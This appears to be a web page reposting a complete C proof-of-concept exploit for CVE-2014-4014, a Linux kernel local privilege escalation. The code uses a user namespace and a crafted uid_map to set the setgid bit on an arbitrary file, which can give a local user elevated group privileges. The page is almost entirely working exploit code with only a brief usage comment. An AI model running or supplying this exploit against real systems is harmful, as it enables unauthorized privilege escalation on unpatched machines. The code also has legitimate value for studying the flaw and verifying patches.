CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC

標籤：http   color   os   2014   io   for   

/**   * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC   *   * Vitaly Nikolenko   * http://hashcrack.org   *   * Usage: ./poc [file_path]   *   * where file_path is the file on which you want to set the sgid bit   */ #define _GNU_SOURCE #include <sys/wait.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <limits.h> #include <string.h> #include <assert.h>  #define STACK_SIZE (1024 * 1024) static char child_stack[STACK_SIZE];  struct args {      int pipe_fd[2];      char *file_path; };  static int child( void *arg) {      struct args *f_args = ( struct args *)arg;      char c;       // close stdout      close(f_args->pipe_fd[1]);        assert (read(f_args->pipe_fd[0], &c, 1) == 0);       // set the setgid bit      chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);       return 0; }  int main( int argc, char *argv[]) {      int fd;      pid_t pid;      char mapping[1024];      char map_file[PATH_MAX];      struct args f_args;       assert (argc == 2);       f_args.file_path = argv[1];      // create a pipe for synching the child and parent      assert (pipe(f_args.pipe_fd) != -1);       pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);      assert (pid != -1);       // get the current uid outside the namespace      snprintf(mapping, 1024, "0 %d 1\n" , getuid());        // update uid and gid maps in the child      snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map" , ( long ) pid);      fd = open(map_file, O_RDWR); assert (fd != -1);       assert (write(fd, mapping, strlen (mapping)) == strlen (mapping));      close(f_args.pipe_fd[1]);       assert (waitpid(pid, NULL, 0) != -1); }